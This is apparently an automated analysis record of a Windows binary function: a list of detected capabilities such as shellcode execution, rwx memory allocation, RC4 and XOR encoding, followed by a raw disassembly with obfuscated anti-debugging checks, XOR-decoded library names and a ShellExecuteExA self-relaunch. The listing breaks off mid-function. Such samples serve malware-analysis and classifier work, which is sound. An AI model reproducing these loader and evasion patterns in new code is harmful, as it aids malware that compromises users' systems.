Function at 0x14002e7b0
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.14009d6d0
sub rsp, rax
mov rax, qword [0x1400f4700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x18]
mov ebx, 0x333c2c22
mov edi, 0xc6f3f7f8
mov r13d, 0xdff380c9
mov r14d, 0x18ff88d1
cmp rax, r13
jne 0x14002e8ba
mov rcx, qword gs:[9]
xor edx, edx
mov eax, r14d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e89a
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e89a
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e8ba
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov r15d, 0xdff380c9
mov ecx, r15d
call fcn.1400059c4
mov rax, qword gs:[0x18]
mov r12d, 0xe330532b
cmp rax, r13
jne 0x14002e978
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e958
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e958
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e978
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
movabs rsi, 0x6914cbf2a209ecb0
cmp rax, r13
jne 0x14002ea2c
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ea0c
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ea0c
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ea2c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov ecx, r15d
call fcn.14002dda0
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002eaed
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002eacd
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002eacd
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002eaed
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002eb97
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002eb77
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002eb77
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002eb97
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
lea rdx, [0x1400e61f0]
lea rcx, [rbp + 0x998]
call fcn.140005388
mov rdx, rax
mov ecx, r15d
call fcn.1400071ec
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002ec6e
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ec4e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ec4e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ec6e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002ed18
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ecf8
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ecf8
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ed18
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov dword [rbp + 0x90], 0x6c2cf487
mov dword [rbp + 0x94], 0x8fbc0a08
mov word [rbp + 0x98], 0x83
xor r15d, r15d
mov edi, r15d
movabs rsi, 0x1a6e778c1
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.14003e1cc
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x14002ed45
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x18]
cmp rax, r13
movabs rsi, 0x6914cbf2a209ecb0
jne 0x14002ee52
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ee32
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ee32
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ee52
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002eefc
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002eedc
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002eedc
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002eefc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov dword [rbp + 0x1f0], 0x1aa44827
mov dword [rbp + 0x1f4], 0x582356f0
mov dword [rbp + 0x1f8], 0x6968cf5c
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
movabs rsi, 0x1a6e778c1
mov qword [rsp + 0x20], rsi
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14003de28
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x14002ef2f
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x18]
cmp rax, r13
movabs rsi, 0x6914cbf2a209ecb0
jne 0x14002f02b
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f00b
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f00b
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f02b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14002df74
test eax, eax
jne 0x14002f2d7
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400c6f30
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14002f148
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400c6f30
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0x860fc643
mov word [rbp - 0x6c], Ordinal_79
movabs rsi, 0x1a6e778c1
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14003e158
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x14002f0b8
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14003dab1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14002f152
movabs rsi, 0x1a6e778c1
mov word [rsp + 0x78], reloc.WLDAP32.dll_Ordinal_35
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rsp + 0x78]
call fcn.14003e000
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14002ddf4
mov rbx, rax
movdqa xmm0, xmmword [0x1400ea300]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400ea550]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xe912f9a0
mov dword [rbp + 0xc1c], 0xc30a11fb
mov dword [rbp + 0xc20], 0xdbc377f4
mov word [rbp + 0xc24], 0x75
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.14003e0e4
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x14002f1d7
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14003f178
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14003f338
lea rcx, [rbp + 0x9d8]
call fcn.14003ec90
lea rcx, [rbp + 0x9b8]
call fcn.14003ec90
movdqa xmm0, xmmword [0x1400ea310]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0xb2
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14003dbe0
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x14002f270
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.14003e8e4
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002f381
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f361
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f361
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f381
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x18]
mov edi, 0xc6f3f7f8
cmp rax, r13
jne 0x14002f444
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f424
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f424
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f444
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002f4ee
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f4ce
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f4ce
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f4ee
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002f598
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f578
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f578
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f598
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002f651
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f631
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f631
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f651
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
xor ecx, ecx
call fcn.1400a51a4
mov rbx, rax
mov word [rsp + 0x7c], 0x78
movabs r12, 0x1a6e778c1
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, 0x78
lea rcx, [rsp + 0x7c]
call fcn.14003e000
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0xd5efb144
mov word [rbp - 0x5c], 0xb3be
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
mov qword [rsp + 0x20], r12
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14003dea0
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x14002f6a4
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400a8684
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002f795
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f775
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f775
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f795
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002f852
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f832
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f832
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f852
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov ecx, 2
call fcn.1400a51a4
mov rbx, rax
mov word [rbp - 0x80], 0x7d
movabs r12, 0x1a6e778c1
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, 0x7d
lea rcx, [rbp - 0x80]
call fcn.14003e000
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0x1d9f6e0e
mov dword [rbp - 0x34], 0x5ffac5
mov rdi, r15
mov qword [rsp + 0x20], r12
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14003e070
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x14002f8a0
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400a8684
mov rax, qword gs:[0x18]
cmp rax, r13
mov r12d, 0xe330532b
jne 0x14002f996
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f976
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f976
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f996
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002fa40
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fa20
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fa20
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fa40
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov ecx, 1
call fcn.1400a51a4
mov rbx, rax
mov word [rbp - 0x7c], 0x7d
movabs rsi, 0x1a6e778c1
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0x7d
lea rcx, [rbp - 0x7c]
call fcn.14003e000
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0x1d9f6e0e
mov dword [rbp - 0x2c], 0x5ffac5
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14003e070
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x14002fa8e
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400a8684
mov rax, qword gs:[0x18]
cmp rax, r13
movabs rsi, 0x6914cbf2a209ecb0
mov ebx, 0x333c2c22
jne 0x14002fb9d
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fb7d
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fb7d
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fb9d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002fc47
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fc27
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fc27
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fc47
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea3c0]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400ea2c0]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400ea4a0]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x926ee75a
mov dword [rbp + 0xd4c], 0x6cfd2df8
mov dword [rbp + 0xd50], 0xf3ef7332
mov word [rbp + 0xd54], 0x4b64
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
movabs r12, 0x1a6e778c1
mov qword [rsp + 0x20], r12
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.14003df8c
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x14002fcb3
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.14000522c
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002fda4
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fd84
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fd84
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fda4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14002fe5f
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
